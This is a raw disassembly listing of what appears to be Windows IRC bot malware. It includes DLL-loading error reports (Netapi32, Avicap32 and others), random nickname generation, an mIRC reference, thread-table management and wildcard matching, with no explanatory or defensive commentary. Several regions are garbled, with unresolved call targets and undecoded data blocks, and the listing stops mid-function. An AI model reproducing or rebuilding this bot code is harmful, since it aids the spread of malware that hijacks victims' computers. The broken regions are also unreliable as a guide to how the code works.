lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A94E: ; CODE XREF: sub_40A7CE+152j
cmp dword_4CB06C, esi
jz short loc_40A982
push dword_4CB070
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A982: ; CODE XREF: sub_40A7CE+186j
cmp dword_4CB074, esi
jz short loc_40A9B6
push dword_4CB078
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj
cmp dword_4CB07C, esi
jz short loc_40A9EA
push dword_4CB080
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj
cmp dword_4CB084, esi
jz short loc_40AA1E
push dword_4CB088
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA1E: ; CODE XREF: sub_40A7CE+222j
cmp dword_4CB08C, esi
jz short loc_40AA52
push dword_4CB090
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA52: ; CODE XREF: sub_40A7CE+256j
cmp dword_4CB094, esi
jz short loc_40AA86
push dword_4CB098
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj
cmp dword_4CB09C, esi
jz short loc_40AABA
push dword_4CB0A0
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj
lea eax, [ebp+var_200]
push offset unk_42D330
push eax
call sub_41B886
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AAE7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40AAE7: ; CODE XREF: sub_40A7CE+302j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A7CE endp
; =============== S U B R O U T I N E =======================================
sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5C95p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
jnz short locret_40AB21
push [esp+arg_0]
call dword_4CAFF8
test eax, eax
jnz short loc_40AB1A
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AB21: ; CODE XREF: sub_40AAF9+Dj
retn
sub_40AAF9 endp
; =============== S U B R O U T I N E =======================================
sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CAE90
xor eax, eax
test ecx, ecx
jz short locret_40AB30
call ecx
locret_40AB30: ; CODE XREF: sub_40AB22+Aj
retn
sub_40AB22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CAFF0
mov ecx, eax
sub ecx, edi
jz loc_40ABF7
sub ecx, 32h
jz loc_40ABF0
sub ecx, 48h
jz short loc_40AB91
sub ecx, 6Eh
jz short loc_40AB8A
loc_40AB73: ; CODE XREF: sub_40AB31+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D544
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40ABD1
; ---------------------------------------------------------------------------
loc_40AB8A: ; CODE XREF: sub_40AB31+40j
push offset unk_42D520
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40AB91: ; CODE XREF: sub_40AB31+3Bj
push [ebp+var_8]
call sub_41B4D5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B590
add esp, 10h
cmp esi, edi
jz short loc_40ABBE
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CAFF0
cmp eax, edi
jz short loc_40ABF7
jmp short loc_40AB73
; ---------------------------------------------------------------------------
loc_40ABBE: ; CODE XREF: sub_40AB31+79j
push offset unk_42D4F0
loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej
; sub_40AB31+C4j
lea eax, [ebp+var_88]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40ABD1: ; CODE XREF: sub_40AB31+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4151AC
pop ecx
loc_40ABE1: ; CODE XREF: sub_40AB31+C8j
; sub_40AB31+DCj
push esi
call sub_41B0B1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ABF0: ; CODE XREF: sub_40AB31+32j
push offset unk_42D4C0
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40ABF7: ; CODE XREF: sub_40AB31+29j
; sub_40AB31+89j
cmp [esi], edi
jbe short loc_40ABE1
lea ebx, [esi+4]
loc_40ABFE: ; CODE XREF: sub_40AB31+DAj
push ebx
call dword_4CAFEC
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ABFE
jmp short loc_40ABE1
sub_40AB31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p
; sub_401ACD+2398p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CAF18
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CB0A4
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41B886
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AC0F endp
; =============== S U B R O U T I N E =======================================
sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp
; sub_412B08+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AC91
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AC84: ; CODE XREF: sub_40AC68+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AC84
pop edi
jmp short loc_40AC95
; ---------------------------------------------------------------------------
loc_40AC91: ; CODE XREF: sub_40AC68+Aj
mov edx, [esp+4+arg_0]
loc_40AC95: ; CODE XREF: sub_40AC68+27j
test esi, esi
pop esi
jz short loc_40AC9F
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AC9F: ; CODE XREF: sub_40AC68+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AC68 endp
; =============== S U B R O U T I N E =======================================
sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p
; DATA XREF: ___:off_42D590o
arg_0 = dword ptr 4
push esi
push edi
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D5F8[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD1D
loc_40ACF7: ; CODE XREF: sub_40ACB5+66j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACF7
loc_40AD1D: ; CODE XREF: sub_40ACB5+40j
mov eax, edi
pop edi
pop esi
retn
sub_40ACB5 endp
; ---------------------------------------------------------------------------
dw 5756h
dd 275F91E8h, 0E8509002h, 10BA8h, 10247C8Bh, 3C2404C7h
dd 68004291h, 42C91Ch, 0E8571C6Ah, 10C38h, 0C483F633h
dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h
dd 64685752h, 6A0042B4h, 11E8571Ch, 8300010Ch, 3B4614C4h
dd 42909835h, 8BDA7C00h, 0C35E5FC7h
; =============== S U B R O U T I N E =======================================
sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ADC3
loc_40ADAD: ; CODE XREF: sub_40AD80+41j
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ADAD
loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AD80 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431250
push eax
push esi
nop
call near ptr 26B0000h
movsx eax, byte_431250
push 41h
pop ecx
push 1
pop edx
loc_40AE09: ; CODE XREF: ___:0040AE14j
cmp eax, ecx
jnz short loc_40AE10
mov [ebp-4], edx
loc_40AE10: ; CODE XREF: ___:0040AE0Bj
inc ecx
cmp ecx, 5Bh
jl short loc_40AE09
push 61h
pop ecx
loc_40AE19: ; CODE XREF: ___:0040AE24j
cmp eax, ecx
jnz short loc_40AE20
mov [ebp-4], edx
loc_40AE20: ; CODE XREF: ___:0040AE1Bj
inc ecx
cmp ecx, 7Bh
jl short loc_40AE19
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AE65
loc_40AE3F: ; CODE XREF: ___:0040AE63j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE3F
loc_40AE65: ; CODE XREF: ___:0040AE3Dj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26C0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_431254
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AEDA
loc_40AEB4: ; CODE XREF: ___:0040AED8j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AEB4
loc_40AEDA: ; CODE XREF: ___:0040AEB2j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_43D128
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26C05A2h
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AF64
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF44
cmp dword ptr [ebp-84h], 1
jnz short loc_40AF34
mov esi, offset dword_43127C
loc_40AF34: ; CODE XREF: ___:0040AF2Dj
cmp dword ptr [ebp-84h], 2
jnz short loc_40AFA0
mov esi, offset dword_431278
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF44: ; CODE XREF: ___:0040AF24j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AF54
mov esi, offset dword_431274
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF54: ; CODE XREF: ___:0040AF4Bj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AF9B
mov esi, offset dword_431270
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF64: ; CODE XREF: ___:0040AF1Bj
cmp dword ptr [ebp-90h], 5
jnz short loc_40AF9B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF7D
mov esi, offset dword_43126C
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF7D: ; CODE XREF: ___:0040AF74j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AF8D
mov esi, offset dword_431268
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF8D: ; CODE XREF: ___:0040AF84j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431264
jz short loc_40AFA0
loc_40AF9B: ; CODE XREF: ___:0040AF5Bj
; ___:0040AF6Bj
mov esi, offset dword_431260
loc_40AFA0: ; CODE XREF: ___:0040AF3Bj
; ___:0040AF42j ...
mov edi, [ebp+8]
push esi
push offset dword_431258
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AFE4
loc_40AFBE: ; CODE XREF: ___:0040AFE2j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AFBE
loc_40AFE4: ; CODE XREF: ___:0040AFBCj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call near ptr 2680CBAh
nop
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40B039
call dword_4CAF80
test eax, eax
mov eax, offset dword_431288
jnz short loc_40B022
mov eax, offset dword_43D128
loc_40B022: ; CODE XREF: sub_40AFEA+31j
push eax
push esi
push offset dword_431280
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41B980
add esp, 14h
jmp short loc_40B059
; ---------------------------------------------------------------------------
loc_40B039: ; CODE XREF: sub_40AFEA+22j
call dword_4CAF80
test eax, eax
mov eax, offset dword_431288
jnz short loc_40B04D
mov eax, offset dword_43D128
loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40B059: ; CODE XREF: sub_40AFEA+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41AFE0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B088
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C1E0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 18h
loc_40B088: ; CODE XREF: sub_40AFEA+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40AFEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D58C
loc_40B099: ; CODE XREF: sub_40B08D+3Fj
cmp [ebp+arg_C], 0
jz short loc_40B0B4
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C070
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B0BE
; ---------------------------------------------------------------------------
loc_40B0B4: ; CODE XREF: sub_40B08D+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B0BE: ; CODE XREF: sub_40B08D+25j
test eax, eax
jnz short loc_40B0D0
add esi, 14h
inc edi
cmp esi, offset off_42D604
jb short loc_40B099
jmp short loc_40B0DE
; ---------------------------------------------------------------------------
loc_40B0D0: ; CODE XREF: sub_40B08D+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D590[eax*4]
pop ecx
loc_40B0DE: ; CODE XREF: sub_40B08D+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B0F1
push [ebp+arg_0]
call sub_40AFEA
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B0F1: ; CODE XREF: sub_40B08D+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40B08D endp
; =============== S U B R O U T I N E =======================================
sub_40B0F6 proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43DCB0
loc_40B0FE: ; CODE XREF: sub_40B0F6+18j
cmp byte ptr [eax], 0
jz short loc_40B112
add eax, 234h
inc edi
cmp eax, offset dword_4CACB0
jl short loc_40B0FE
jmp short loc_40B15D
; ---------------------------------------------------------------------------
loc_40B112: ; CODE XREF: sub_40B0F6+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43DCB0[esi]
push eax
call sub_41B5F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43DEB0[esi], eax
and dword_43DEB4[esi], 0
mov eax, [esp+8+arg_8]
and dword_43DEB8[esi], 0
mov dword_43DEBC[esi], eax
and byte_43DEC8[esi], 0
pop esi
loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj
mov eax, edi
pop edi
retn
sub_40B0F6 endp
; ---------------------------------------------------------------------------
byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h
dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p
; sub_40B2BF+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B2B9
cmp esi, 400h
jge short loc_40B2B9
imul esi, 234h
push edi
push ebx
push dword_43DEC4[esi]
lea edi, dword_43DEC4[esi]
nop
call near ptr 2680D6Bh
cmp [edi], ebx
jz short loc_40B269
push 1
pop ebp
loc_40B269: ; CODE XREF: sub_40B231+33j
mov [edi], ebx
lea edi, dword_43DEB8[esi]
mov dword_43DEB0[esi], ebx
mov dword_43DEB4[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B28A
push eax
call sub_4199C9
pop ecx
loc_40B28A: ; CODE XREF: sub_40B231+50j
mov [edi], ebx
lea edi, dword_43DEBC[esi]
mov byte ptr dword_43DCB0[esi], bl
mov byte_43DEC8[esi], bl
push dword ptr [edi]
call dword_4CB00C
lea esi, dword_43DEC0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CB00C
mov [esi], ebx
pop edi
loc_40B2B9: ; CODE XREF: sub_40B231+Dj
; sub_40B231+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B231 endp
; =============== S U B R O U T I N E =======================================
sub_40B2BF proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43DCB0
loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj
cmp byte ptr [esi], 0
jz short loc_40B2DC
push edi
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B2DC
inc ebx
loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj
; sub_40B2BF+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CACB0
jl short loc_40B2CB
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B2BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep
; sub_401ACD+42E0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43DEB4
loc_40B305: ; CODE XREF: sub_40B2F1+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B327
test edi, edi
jle short loc_40B319
cmp [esi], edi
jz short loc_40B319
cmp ebx, edi
jnz short loc_40B327
loc_40B319: ; CODE XREF: sub_40B2F1+1Ej
; sub_40B2F1+22j
push ebx
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B327
inc [ebp+var_4]
loc_40B327: ; CODE XREF: sub_40B2F1+1Aj
; sub_40B2F1+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CAEB4
jl short loc_40B305
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F1 endp
; =============== S U B R O U T I N E =======================================
sub_40B33E proc near ; CODE XREF: ___:00401630p
; sub_401ACD+97Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43DEB0
loc_40B345: ; CODE XREF: sub_40B33E+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B34E
inc eax
loc_40B34E: ; CODE XREF: sub_40B33E+Dj
add ecx, 234h
cmp ecx, offset dword_4CAEB0
jl short loc_40B345
retn
sub_40B33E endp
; =============== S U B R O U T I N E =======================================
sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43DEB0
loc_40B367: ; CODE XREF: sub_40B35D+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B380
add ecx, 234h
inc edx
cmp ecx, offset dword_4CAEB0
jl short loc_40B367
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B380: ; CODE XREF: sub_40B35D+10j
mov eax, edx
pop esi
retn
sub_40B35D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p
; sub_401ACD+126Cp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B39D
push [ebp+arg_1C]
call sub_41B779
pop ecx
loc_40B39D: ; CODE XREF: sub_40B384+Ej
push eax
push [ebp+arg_18]
call sub_40B2F1
pop ecx
test eax, eax
pop ecx
jle short loc_40B3C9
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41B886
add esp, 14h
jmp short loc_40B3E3
; ---------------------------------------------------------------------------
loc_40B3C9: ; CODE XREF: sub_40B384+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41B886
add esp, 10h
loc_40B3E3: ; CODE XREF: sub_40B384+43j
cmp [ebp+arg_C], 0
jnz short loc_40B403
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40B403: ; CODE XREF: sub_40B384+63j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
leave
retn
sub_40B384 endp
; =============== S U B R O U T I N E =======================================
sub_40B412 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BA47p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43DEC4[eax], ecx
mov dword_43DEB0[eax], ecx
mov dword_43DEB4[eax], ecx
mov dword_43DEB8[eax], ecx
mov dword_43DEBC[eax], ecx
mov dword_43DEC0[eax], ecx
mov byte ptr dword_43DCB0[eax], cl
mov byte_43DEC8[eax], cl
retn
sub_40B412 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp
; sub_40B57D+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B459: ; CODE XREF: sub_40B44F+68j
mov cl, [esi]
test cl, cl
jz short loc_40B4B9
cmp eax, 1
jnz short loc_40B4B9
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B4B9
cmp cl, 2Ah
jz short loc_40B4A0
cmp cl, 3Fh
jz short loc_40B483
cmp cl, 5Bh
jz short loc_40B488
xor eax, eax
cmp cl, dl
setz al
loc_40B483: ; CODE XREF: sub_40B44F+26j
inc [ebp+arg_4]
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B488: ; CODE XREF: sub_40B44F+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B4E5
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B4A0: ; CODE XREF: sub_40B44F+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B57D
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B4B3: ; CODE XREF: sub_40B44F+37j
; sub_40B44F+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B459
; ---------------------------------------------------------------------------
loc_40B4B9: ; CODE XREF: sub_40B44F+Ej
; sub_40B44F+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B4C9
cmp eax, 1
jnz short loc_40B4E0
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B4B9
; ---------------------------------------------------------------------------
loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj
cmp eax, 1
jnz short loc_40B4E0
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B4E0
cmp byte ptr [esi], 0
jnz short loc_40B4E0
push 1
pop eax
jmp short loc_40B4E2
